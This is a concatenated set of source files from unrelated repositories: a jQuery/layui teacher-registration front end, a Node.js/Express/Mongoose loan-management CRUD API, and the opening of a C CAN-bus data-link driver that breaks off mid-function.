var addUseLang = '<div class="addBox"><div class="layui-inline"><label class="layui-form-label">掌握语言</label><div class="layui-input-inline input-short"><select class="KnowLang" name="KnowLang'+i+'" lay-verify="required"><option value="">请选择你掌握语言</option><option value="1">英语</option><option value="2">汉语</option><option value="3">日语</option></select></div></div><div class="layui-inline input-right"><label class="layui-form-label">等级</label><div class="layui-input-inline input-short"><select class="KnowLangLv" name="KnowLangLv'+i+'" lay-verify="required"><option value="">请选择</option><option value="1">初级</option><option value="2">中级</option><option value="3">高级</option></select></div></div><img class="clearLang" src="images/jian.png" /></div>';
$("#KnowLangFrom").append(addUseLang);
form.render();
i = i+1;
$(".clearLang").click(function(){
$(this).parent().remove();
form.render();
i =i-1;
})
})
var j = 2;
$("#addTeachUseLang").click(function(){
var addTeachUseLang = '<div class="addBox"><div class="layui-inline"><label class="layui-form-label">语言课程</label><div class="layui-input-inline input-short"><select class="lessonLang" name="lessonLang'+j+'" lay-verify="required"><option value="">请选择你掌握语言</option><option value="1">英语</option><option value="2">汉语</option><option value="3">日语</option></select></div></div><div class="layui-inline input-right"><label class="layui-form-label">使用语言</label><div class="layui-input-inline input-short"><select name="UseLang" name="UseLang'+j+'" lay-verify="required"><option value="">请选择</option><option value="1">英语</option><option value="2">汉语</option><option value="3">日语</option></select></div></div><img class="clearLang" src="images/jian.png" /></div>';
$("#baseInfoFromuse").append(addTeachUseLang);
form.render();
j =j+1
$(".clearLang").click(function(){
$(this).parent().remove();
form.render();
j = j-1;
})
})
$(document).ready(function(){
var Language = getCookie("Language");
if (Language) {
console.log(Language)
}else{
Language = "en"
}
$("#header").load("lib/header/header.html",function(){
$("header").load("lib/header/header.html",function(){
$("#homeBtn").find(".botterLine").addClass("curpage");
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(event){
var curLang = $(this).children('option:selected').val();
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png')
CreateCookie("Language", curLang, 30);
event.stopPropagation();
});
window.onscroll=function(){
var topScroll = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;//滚动的距离,距离顶部的距离
if(topScroll > 100){ //当滚动距离大于250px时
$("#header").addClass('headerFloat').removeClass("headerTop");
}else{//当滚动距离小于250的时候让导航栏恢复原状
$("#header").addClass('headerTop').removeClass("headerFloat");
}
};
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});//load
});
$("footer").load("lib/footer/footer.html",function(){
})
//区号
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Verify/getCountryAreacode.action',
success:function(data) {
for (var i = 0;i<data.data.areacode.length; i++) {
var areacode = '<option value="'+data.data.areacode[i].countryId+'">'+data.data.areacode[i].countryName+' +'+data.data.areacode[i].areaCode+'</option>'; $('#PhoneNmuAre').append(areacode);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
//国籍、居住地
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Api/AreTalk/getCountryInfo.action',
success:function(data) {
for (var i = 0;i<data.data.countryInfo.length; i++) {
var countryInfo = '<option value="'+data.data.countryInfo[i].countryId+'">'+data.data.countryInfo[i].countryNameSelf+'</option>';
$('#motherlandId').append(countryInfo);
$('#LivelandId').append(countryInfo);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
//证件类型
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
for (var i = 0;i<data.data.idcardTyape.length; i++) {
var certificate = '<option value="'+data.data.idcardTyape[i].id+'">'+data.data.idcardTyape[i].cardName+'</option>';
$('#certificate').append(certificate);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
//联系方式
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
for (var i = 0;i<data.data.communicationChannel.length; i++) {
var contactWay = '<option value="'+data.data.communicationChannel[i].terraceId+'">'+data.data.communicationChannel[i].terraceName+'</option>';
$('#contactWay').append(contactWay);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
//银行
/*$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
for (var i = 0;i<data.data.bankInfo.length; i++) {
var bankInfo = '<option value="'+data.data.bankInfo[i].id+'">'+data.data.bankInfo[i].bankName+'</option>';
$('#BankSelect').append(bankInfo);
var form = layui.form;
form.render();
}
},
error: function () {
}
}); */
//掌握语言
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
for (var i = 0;i<data.data.lang.length; i++) {
var LangSelect = '<option value="'+data.data.lang[i].id+'">'+data.data.lang[i].name+'</option>';
$('#motherLangSelect').append(LangSelect);
$('#KnowLangSelect').append(LangSelect);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
})//ready结束
}); //layui.use结束
var checkInfoValid;
function GetCode(){
username = $("#username").val();
PhoneNumber = $("#PhoneNumber").val().replace(/\b(0+)/gi,"");
var PhoneLocaltion = $('#PhoneNmuAre option:selected').val();//Select选中的值
if (username&&PhoneNumber){
$.ajax({
async:false,
type:'POST',
data:{userName:username,phoneNo:PhoneNumber,type:0},
url: AjaxURL+'/AreTalkServer/Web/Login/checkInfoValid.action',
success:function(data) {
if(data.data.status=="success"){
checkInfoValid = true;
console.log(data.data.status)
$.ajax({
async:false,
type:'POST',
data:{countryId:PhoneLocaltion,phoneNo:PhoneNumber,type:0},
url: AjaxURL+'/AreTalkServer/Verify/sendPhoneNoVerifyCode.action',
success:function(data) {
if (data.data.status=="success") {
time()
layer.msg('正在发送验证码,请查收手机短信',{time:1500});
console.log('正在发送验证码,请查收手机短信')
}
},
error: function () {
}
});
}else if(data.data.status=="failed"){
console.log(data.data.status)
if (data.data.item=="userName") {
layer.msg('用户名已被注册',{time:1500});
console.log('用户名已被注册')
}else if(data.data.item=="phoneNo"){
layer.msg('手机号已注册',{time:1500});
console.log('手机号已注册')
}
}
},
error: function () {
}
});
}else{
layer.msg('用户名或手机号不得为空,请重试',{time:1500});
}
}
function register(){
$.ajax({
type:'POST',
data:{
userType:0,
userName:fromValue.userName,
password:<PASSWORD>,
phoneNo:fromValue.phoneNo,
motherlandId:fromValue.motherLang,
email:fromValue.email,
verifyCode:fromValue.IDcode,
countryId:fromValue.countryId,//区号
birthday:fromValue.Tbirthday,
motherlandId:fromValue.motherlandId//国籍
},
url: AjaxURL+'/AreTalkServer/Web/Login/register.action',
success:function(data) {
if(data.data.status=="success"){
console.log("register 成功");
Login();
}else if(data.data.errCode=="5"){
layer.msg('验证码错误请重试',{time:1500});
}else {
alert("register error,please try again")
}
},
error: function () {
console.log("register error")
layer.msg('验证码错误请重试',{time:1500});
}
})
}
function Login() {
var TuserName = fromValue.userName;
var password = fromValue.<PASSWORD>
console.log(TuserName)
console.log(password)
$.ajax({
type: "POST",
url:AjaxURL+"/AreTalkServer/Web/Login/login.action",
data: {userName:TuserName,password:<PASSWORD>,userType:0},
success: function (data) {
console.log("Login 成功");
Sessionid = data.data.JSESSIONID;
CreateCookie("JSESSIONID", data.data.JSESSIONID, 30);
UpLoadHeadImg();
AddTeacherInfo();
AddKnowLang();
AddKnowLangLv();
},
error: function () {
console.log("Login error");
alert("error,please try again")
}
});
}
function UpLoadHeadImg(){
console.log("teacherHeadImgId:"+teacherHeadImgId);
$.ajax({
async:false,
type:'POST',
data: {avatarId:teacherHeadImgId},
url: AjaxURL+"/AreTalkServer/Web/Api/uploadUserImage.action;jsessionid="+Sessionid,
success:function(data) {
console.log("上传头像图片ID成功")
},
error: function () {
console.log("UpLoadHeadImg error");
alert("error,please try again")
}
});
}
function AddTeacherInfo(){
$.ajax({
type: "POST",
async:false,
traditional: true,
url:AjaxURL+'/AreTalkServer/Web/Api/uploadTeacherInfo.action;jsessionid='+Sessionid,
data: {realName:'AreTalkTeacher'/*fromValue.realname*/,
cardType:fromValue.certificate,
cardNum:fromValue.certificateNum,
countryId:fromValue.motherlandId,
streetInfo:fromValue.WhereFrom,
homeCountryId:fromValue.LivelandId,
homeStreetInfo:fromValue.WhereLive,
communicationType:fromValue.contactWay,
communicationId:fromValue.contactNum,
bankId:'1'/*fromValue.bank*/,
bankphoneNumber:'18888888888'/*fromValue.bankPhone*/,
bankCardNum:'8888888888888888'/*fromValue.BankCardID */
},
success: function (data) {
console.log("AddTeacherInfo 成功");
},
error: function (a, b, c) {
console.log("a: " + JSON.stringify(a));
console.log("b: " + JSON.stringify(b));
console.log("c: " + JSON.stringify(c));
console.log("AddTeacherInfo error");
alert("error,please try again")
}
});
}
function AddKnowLang(){
$.ajax({
async:false,
type: "POST",
url:AjaxURL+'/AreTalkServer/Web/Api/updateUserLang.action;jsessionid='+Sessionid,
data: {
langAddList:fromValue.KnowLangArry,
langDeleteList:null
},
success: function (data) {
console.log("AddKnowLang 成功");
},
error: function () {
console.log("AddKnowLang error");
alert("error,please try again")
}
});
}
function AddKnowLangLv(){
$.ajax({
type: "POST",
async:false,
url:AjaxURL+'/AreTalkServer/Web/Api/updateUserLangLevel.action;jsessionid='+Sessionid,
data: {
langIdList:fromValue.KnowLangArry,
langLevelList:fromValue.levelArry
},
success: function (data) {
console.log("AddKnowLangLv 成功");
window.location.href = "TeacherFinish.html";
},
error: function () {
console.log("AAddKnowLangLv error");
alert("error,please try again")
}
});
}
function CreateCookie(name, value, days) {
if (days) {
var date = new Date;
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1E3);
var expires = "; expires=" + date.toGMTString()
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/"
}
function GetQueryString(name){
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if(r!=null)return unescape(r[2]); return null;
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function time(){
if (wait == 0) {
$("#GetCode").removeAttr("disabled");
$("#GetCode").html("获取验证码");
$("#GetCode").css("background-color", "#009688");
wait = 60;
} else {
$("#GetCode").attr("disabled", "true");
$("#GetCode").css("background-color", "#9da2a7");
$("#GetCode").html("重新发送"+ wait);
wait--;
setTimeout(function() {
time()
},
1000)
}
} | 77edf52b967b58525fbf5560768c3c95ac15d812 | [
"JavaScript"
] | 10 | JavaScript | AfterStories/ATWeb2 | c89f73f3afa9df24ee29f016dfd993c723d1c462 | d4fa6c2ae18db7aac8b648d05e974ba9a44339ec |
refs/heads/main | <repo_name>charan1610/offline-loan-application<file_sep>/Controllers/customer.js
// import models file
var customer_model = require('../Models/customer');
// import nodemailer
var nodemailer=require('../node_modules/nodemailer');
// import /Utils/universalFunctions.
var universal_Fun = require('../Utils/universalFunctions');
module.exports = {
// add customer logic.
sendMail:function(req,res){
universal_Fun.sendEmail({},function(err,result){
if(err){
res.send(err);
}else{
res.send(result);
}
})
},
addcustomer: function (data, cb) {
console.log("controller/customer:Inside'addcustomer'functionality.");
universal_Fun.save_data_in_DB(customer_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on customer list
customer_list: function (data, cb) {
console.log("controller/customer:Inside'customerlist'functionality.");
universal_Fun.find_data_in_DB(customer_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on update_customer.
update_customer: function (data, cb) {
console.log("controller/customer:Inside'update/customer'functionality.");
universal_Fun.findOneAndUpdate_data_in_DB(customer_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on delete_customer.
delete_customer: function (data, cb) {
console.log("controller/customer:Inside'delete/customer'functionality.");
universal_Fun.delete_data_in_DB(customer_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
}<file_sep>/Models/customer.js
// require mongoose module
var mongoose = require('mongoose');
// we need some schema
var customerSchema = mongoose.Schema({
fristname: { type: String, unique: true },
lastname: { type: String },
age: { type: Number },
gender: { type: String },
address: { type: String },
mobile_num: { type: String },
email: { type: String, unique: true },
occupation: { type: String }
});
// require model
var customer = mongoose.model('customer', customerSchema);
// export the model/customer.js
module.exports = customer;
<file_sep>/Routes/loan.js
// require Joi module.
const Joi = require('joi');
var req_validataion_data = require('../Utils/req_data_validator');
var loan_controller = require('../Controllers/loan');
// loan.js API logic
module.exports = function (app) {
// loan API on customer add
app.post('/create/loan', function (req, res) {
// const req_validator=Joi.object().keys({
// loanType:Joi.string().required(),
// amount:Joi.string().required(),
// customerId:Joi.string().required(),
// payment_mode:Joi.string().required()
// });
const { error } = req_validataion_data.loan_req_validator_to_add.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/loans:Inside'create/loan'functionality.")
loan_controller.add_loan_customers(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// API on loan_customer_list.
app.get('/loan/list', function (req, res) {
const { error } = req_validataion_data.loan_req_validator_to_list.validate({});
if (error) return res.send(error.details[0].message)
console.log("routes/loans:Inside'loan/list'functionality.")
loan_controller.list_loan_customers(req.query, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
//API on loan_customer_update.
app.put('/loan/update', function (req, res) {
// const req_validator=Joi.object().keys({
// _id:Joi.string().required(),
// amount:Joi.string().required()
// });
const { error } = req_validataion_data.loan_req_validator_to_update.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/loans:Inside'loan/update'functionality.")
loan_controller.update_loan_customers(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// API on loan_customer_delete.
app.delete('/delete/loan/customer', function (req, res) {
// const req_validator=Joi.object().keys({
// _id:Joi.string().required()
// })
const { error } = req_validataion_data.loan_req_validator_to_delete.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/loans:Inside'loan/delete'functionality.")
loan_controller.delete_loan_customers(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
})
}
<file_sep>/Controllers/loan.js
// import /Models/loan file data
var loan_model = require('../Models/loan');
// import /Utils/universalFunctions file data.
var universalFun = require('../Utils/universalFunctions');
// logic on loan.js
module.exports = {
// logic on add_loan_customer
add_loan_customers: function (data, cb) {
console.log("controller/loan:Inside'add_loan_customers'functionality.")
universalFun.save_data_in_DB(loan_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on list_loan_customers.
list_loan_customers: function (data, cb) {
console.log("controller/loan:Inside'list_loan_customers'functionality.")
universalFun.find_data_in_DB(loan_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on update_loan_customers
update_loan_customers: function (data, cb) {
console.log("controller/loan:Inside'update_loan_customers'functionality.")
universalFun.findOneAndUpdate_data_in_DB(loan_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// logic on delete_loan_customers
delete_loan_customers: function (data, cb) {
console.log("controller/loan:Inside'delete_loan_customers'functionality.")
universalFun.delete_data_in_DB(loan_model, data, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
}
}<file_sep>/Models/loan.js
// require mongoose module
var mongoose = require('mongoose');
// we assign Schema
var Schema = mongoose.Schema;
// we using new keyword
var loan_Schema = new Schema({
loanType: { type: String, }, // 3-Months, 6-Months, 12-Months
amount: { type: String, unique: true },
customerId: { type: Schema.Types.ObjectId, ref: `customers` },
payment_mode: { type: String }, // Week, Month, Year
release_date: { type: Date, default: Date.now() }
})
// require model
var loan_customer = mongoose.model('loan_customer', loan_Schema);
// export model/loan.
module.exports = loan_customer;<file_sep>/Configs/dbconfig.js
// its hold dbconfigs
module.exports={
mongo_con_str:'mongodb://localhost:27017/loanguru',
url_obj:{useNewUrlParser:true}
}<file_sep>/Routes/customer.js
//import controllers.
var import_cust_controllers = require('../Controllers/customer');
// require joi module.
const Joi = require('joi');
// import req_data_validation file
var req_validataion_data = require('../Utils/req_data_validator');
module.exports = function (app) {
// post API & add customer
app.post('/add/customer', function (req, res) {
// const reqDataValidator = Joi.object().keys({
// firstName: Joi.string().required().min(3).max(5),
// lastName: Joi.string().required(),
// age: Joi.string().required(),
// gender: Joi.string().required().valid("male", "female", "others"),
// address: Joi.string().required(),
// mobile_num: Joi.string().required(),
// email: Joi.string().required(),
// occupation: Joi.string().required()
// });
const { error } = req_validataion_data.customer_require_validator_data_add.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/customer:Inside'addcustomer'functionality");
import_cust_controllers.addcustomer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// get API&customer list
app.get('/customer/list', function (req, res) {
// joi req_validation_list data.
console.log("-------/customer/list-----", req.query);
const { error } = req_validataion_data.customer_require_validator_data_To_list.validate({});
if (error) return res.send(error.details[0].message);
console.log("routes/customer:Inside'customer/list'functionality.");
import_cust_controllers.customer_list(req.query, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// update API customer
app.put('/update/customer', function (req, res) {
// const reqvalidator = Joi.object().keys({
// _id: Joi.string().required(),
// email: Joi.string().required(),
// age: Joi.string().required()
// });
const { error } = req_validataion_data.customer_require_validator_data_To_update.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/customer:Inside'update/customer'functionality.");
import_cust_controllers.update_customer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
})
// delete API customer
app.delete('/delete/customer', function (req, res) {
// const req_validator = Joi.object().keys({
// _id: Joi.string().required()
// });
const { error } = req_validataion_data.customer_require_validator_data_To_delete.validate(req.body);
if (error) return res.send(error.details[0].message);
console.log("routes/customer:Inside'delete/customer'functionality.");
import_cust_controllers.delete_customer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
})
}<file_sep>/Utils/universalFunctions.js
// import_nodemailer
module.exports = {
// add customers data.
save_data_in_DB: function (modelname, data, cb) {
modelname(data).save(function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// list customer data.
find_data_in_DB: function (modelname, data, cb) {
var queryobj={};
(data._id)?queryobj._id=data._id:null;
modelname.find(queryobj, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// update customer data.
findOneAndUpdate_data_in_DB: function (modelname, data, cb) {
var obj = {
_id: data._id
}
var updateobj = {};
(data.occupation) ? updateobj.occupation = data.occupation : null;
(data.email) ? updateobj.email = data.email : null;
(data.address) ? updateobj.address = data.address : null;
(data.mobile_num) ? updateobj.mobile_num = data.mobile_num : null;
(data.age)?updateobj.age=data.age:null;
(data.amount) ? updateobj.amount = data.amount : null;
(data.payment_mode) ? updateobj.payment_mode = data.payment_mode : null;
(data.re_payment_amount) ? updateobj.re_payment_amount = data.re_payment_amount : null;
console.log("--------updateobj__list", updateobj);
modelname.findOneAndUpdate(obj, updateobj, function (err, res) {
if (err) {
cb(err, null);
} else {
cb(null, res);
}
})
},
// delete customerdata.
delete_data_in_DB: function (modelname, data, cb) {
var obj = {
_id: data._id
}
modelname.deleteOne(obj, function (err, res) {
if (err) {
cb(err);
} else {
cb(res);
}
})
},
sendEmail:function(data,cb){
console.log("email sent sucessful");
}
}
<file_sep>/Routes/repayment.js
// require Joi module.
const Joi = require('joi');
// import utils/req_data_validator
var req_data_validation = require('../Utils/req_data_validator');
// import controllers/repayment file.
var reayment_controllers = require('../Controllers/repayment');
// repayment API logic.
module.exports = function (app) {
// API on add_repayment_customer
app.post('/add/repayment/customer', function (req, res) {
// const req_validator=Joi.object().keys({
// loanId:Joi.string().required(),
// customerId:Joi.string().required(),
// re_payment_amount:Joi.string().required()
// })
const { error } = req_data_validation.repayment_req_validator_data_to_add.validate(req.body);
if (error) return res.send(error.details[0].message);
reayment_controllers.add_repayment_customer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// API on repayment?customer/list.
app.get('/repayment/customer/list', function (req, res) {
const { error } = req_data_validation.repayment_req_validator_data_to_list.validate({});
if (error) return res.send(error.details[0].message);
reayment_controllers.repayment_customers_list(req.query, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// API on repayment/update/customers.
app.put('/repayment/update/customers', function (req, res) {
// const req_validator=Joi.object().keys({
// _id:Joi.string().required(),
// re_payment_amount:Joi.string().required()
// })
const { error } = req_data_validation.repayment_req_validator_data_to_update.validate(req.body);
if (error) return res.send(error.details[0].message);
reayment_controllers.update_repayment_customer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
});
// API ON /repayment/delete/customers.
app.delete('/repayment/delete/customers', function (req, res) {
// const req_validator=Joi.object().keys({
// _id:Joi.string().required()
// })
const { error } = req_data_validation.repayment_req_validator_data_to_delete.validate(req.body);
if (error) return res.send(error.details[0].error);
reayment_controllers.delete_repayment_customer(req.body, function (err, result) {
if (err) {
res.send(err);
} else {
res.send(result);
}
})
})
} | 9be6e37bfe2db6879533db39cbe1217dcc46f688 | [
"JavaScript"
] | 9 | JavaScript | charan1610/offline-loan-application | 30ab9e5f40cda9ee57af5f79201c93da187860cf | f7bbe9d32d86336f260ee445e589b20143a2268b |
refs/heads/master | <file_sep>package io.abdullahimran.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import io.abdullahimran.model.Person;
@Repository
public interface PersonRepository extends MongoRepository<Person, String> {
public Person findByFirstName(String firstName);
public Person findByAge(int age);
}
<file_sep>package io.abdullahimran.Controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import io.abdullahimran.model.Person;
import io.abdullahimran.service.PersonService;
@RestController
public class PersonController {
@Autowired
private PersonService personService;
@RequestMapping(method=RequestMethod.POST,value="/create")
public Person create(@RequestParam String firstName,@RequestParam String lastName,@RequestParam int age ) {
return personService.createPerson(firstName, lastName, age);
}
@RequestMapping("/get")
public List<Person> getAll(){
return personService.getAll();
}
@RequestMapping("/get/{firstName}")
public Person getByFirstName(@PathVariable String firstName){
return personService.getByFirstName(firstName);
}
@RequestMapping("/get/{age}")
public Person getByAge(@PathVariable int age){
return personService.getByAge(age);
}
@RequestMapping(method=RequestMethod.DELETE, value="/delete")
public void deleteAll() {
personService.deleteAll();
}
@RequestMapping(method=RequestMethod.DELETE, value="/delete/{firstName}")
public void deleteAll(@PathVariable String firstName) {
personService.deletePerson(firstName);
}
@RequestMapping(method=RequestMethod.PUT, value="/update")
public Person updatePerson(@RequestParam String firstName,@RequestParam String lastName,@RequestParam int age) {
return personService.updatePerson(firstName, lastName, age);
}
}
| 16b908d76562f6ee4fb4231e2d42742bd549090f | [
"Java"
] | 2 | Java | abdullahimran007/Spring-Boot-Mongo-Db-REST | ce21de56ea5ffbad0f0aa353c1f273009c0b539b | e81924f4108dc70152e0214db7e08aa49ec488b5 |
refs/heads/master | <repo_name>GITHZZ/SenchaArchitect-Demo<file_sep>/userPost.php
<?php
$mysql_server_name='127.0.0.1';
$mysql_username='root';
$mysql_password='';
$mysql_database='bizapp';//你自己的数据库名字
$con = mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);
if(!$con){
die('Could not connect:'.mysql_error());
}else{
//echo('connect success');
}
/*选择数据库*/
mysql_select_db($mysql_database,$con);
$q="SELECT*FROM tbl_users";//tbl_users 是数据库中的其中一个
mysql_query("SET NAMES GB2313");
$rs=mysql_query($q,$con);
if(!$rs){
die("Valid result");
}else{
//echo"success to get data!!";
}
/*select database*/
mysql_select_db($mysql_database,$con);
/*get data table*/
$q="SELECT*FROM tbl_users";
mysql_query("SET NAMES GB2313");
$rs=mysql_query($q,$con);
$count = mysql_num_rows($rs);
$id=$count+1;
$name=$_REQUEST['name'];
$password=$_REQUEST['password'];
echo $name;
echo $password;
/*插入数据*/
$temp="INSERT INTO `bizapp`.`tbl_users` (`id`, `name`, `password`) VALUES ('$id','$name','$password');
";
$result=mysql_query($temp);
if($result) echo "YES:<br>";
else echo mysql_error();
mysql_free_result($rs);//关闭数据集
mysql_close($con);
?><file_sep>/app/view/RegisterPanel.js
/*
* File: app/view/RegisterPanel.js
*
* This file was generated by Sencha Architect version 2.2.2.
* http://www.sencha.com/products/architect/
*
* This file requires use of the Sencha Touch 2.2.x library, under independent license.
* License of Sencha Architect does not include license for Sencha Touch 2.2.x. For more
* details see http://www.sencha.com/license or contact <EMAIL>.
*
* This file will be auto-generated each and everytime you save your project.
*
* Do NOT hand edit this file.
*/
Ext.define('MyApp.view.RegisterPanel', {
extend: 'Ext.Panel',
config: {
items: [
{
xtype: 'titlebar',
docked: 'top',
title: 'SenchaDemo_Register'
},
{
xtype: 'textfield',
id: 'name',
label: '用户名:'
},
{
xtype: 'passwordfield',
id: 'password',
label: '密码:'
},
{
xtype: 'button',
handler: function(button, event) {
//获取用户输入的数据,根据id号
var name=Ext.ComponentQuery.query("#name")[0].getValue();
var password=Ext.ComponentQuery.query("#password")[0].getValue();
//检测是否填写完整
if(name==""||password==""){
Ext.Msg.alert("提示","请将注册信息填写完整");
return;
}
//这里使用AjAx通过php将数据上传到数据库中,这里注释了因为我是连接内网的,所以这里提示下
//php文件也在这个项目中,数据库就自己弄吧
//Ext.Ajax.request({
// url:"http://"+you_server_id+":10088/BIZ_SQLPHP/userPost.php",
// method:'POST',
// params:{
// name:name,
// password:<PASSWORD>
// },
//
// //连接失败时候调用
// failure:function(response,opts){
// console.log(response.responseText);
// Ext.Msg.alert('Login failed', 'Try Again', Ext.emptyFn);
// },
// //连接成功时候调用
// success:function(response,opts){
// Ext.Msg.alert("提示","注册成功!");
// //动画转换面板,两个参数一个是转到什么面板,还有一个是转换的动画
// Ext.Viewport.animateActiveItem(this.otherpanel(),{type:"slide",direction:"right"});
// }
//});
},
docked: 'bottom',
text: '立即注册'
}
]
}
}); | f72cdf85518c41f7ba9b0e57cf9cce552c3ed0fe | [
"JavaScript",
"PHP"
] | 2 | PHP | GITHZZ/SenchaArchitect-Demo | da691253b50633848ef1aa2a6982d6c71d6f49bd | 81c9a2f7387ce884349bce61015e72c47ca84cc3 |
refs/heads/main | <file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "can.h"
#include "can_bus_config.h"
#include "can_dll.h"
#define CAN_DLL_HEADER0(id, xtd, esi) (\
((id) & 0xfffffff) | (((xtd) & 0x1) << 30) |\
(((esi) & 0x1) << 31)\
)
#define CAN_DLL_REMOTE_HEADER0(id, rtr, xtd, esi) (\
((id) & 0xfffffff) | (1 << 29) |\
(((xtd) & 0x1) << 30) | (((esi) & 0x1) << 31)\
)
#define CAN_DLL_HEADER1(fdf, brs, dlc) (\
(((fdf) & 0x1) << 21) | (((brs) & 0x1) << 20) |\
(((dlc) & 0xf) << 16)\
)
#define CAN_DLL_RTR_FROM_HEADER(header0) (((header0) >> 29) & 0x1)
#define CAN_DLL_ID_FROM_HEADER(header0) ((header0) & 0xfffffff)
#define CAN_DLL_DLC_FROM_HEADER(header1) (((header1) >> 16) & 0xF)
#define BYTES2WORD(data) (\
(((data)[0]) << 24) | (((data)[1]) << 16) |\
(((data)[2]) << 8) | ((data)[3])\
)
#define WORD2BYTES(data, word) do {\
(data)[0] = ((word) >> 24) & 0xFF;\
(data)[1] = ((word) >> 16) & 0xFF;\
(data)[2] = ((word) >> 8) & 0xFF;\
(data)[3] = (word) & 0xFF;\
} while (0)
#define CAN_DLL_TX_BUFFER_CNT_MAX (64)
/* using only in this file. */
typedef struct can_dll_message {
uint32_t header0;
uint32_t header1;
uint32_t data[CAN_BUS_FRAME_SIZE >> 2];
uint32_t xfer_status;
} dll_message_t;
/* point to the can port descriptor. */
static can_t *can_dev_ptr = NULL;
/* these callbacks as dll sevices. */
static dll_indication can_dll_indication;
static dll_confirm can_dll_confirm;
static dll_remote_indication can_dll_r_indication;
static dll_remote_confirm can_dll_r_confirm;
static uint32_t tx_filled_top;
static uint32_t tx_finish_top;
static dll_message_t dll_tx_message[CAN_DLL_TX_BUFFER_CNT_MAX];
static uint32_t rx_report_top;
static uint8_t dll_rx_buffer[CAN_BUS_FRAME_SIZE * CAN_DLL_FRAME_BUF_CNT_MAX];
static void can_dll_tx_isr(void *param);
static void can_dll_rx_isr(void *param);
static void can_dll_error_isr(void *param);
extern can_baud_config_find(uint32_t rate);
int32_t can_dll_init(void)
{
int32_t result = E_OK;
uint32_t int_bitmap = 0;
can_ops_t *can_ops = NULL;
can_dev_ptr = can_get_dev(CAN_BUS_DEV_ID);
if (NULL == can_dev_ptr) {
result = E_NOEXS;
} else {
can_baud_t *baud_ptr = can_baud_config_find(CAN_BUS_BUAD_RATE);
if (NULL == baud_ptr) {
result = E_NSUP;
} else {
can_ops = (can_ops_t *)can_dev_ptr->ops;
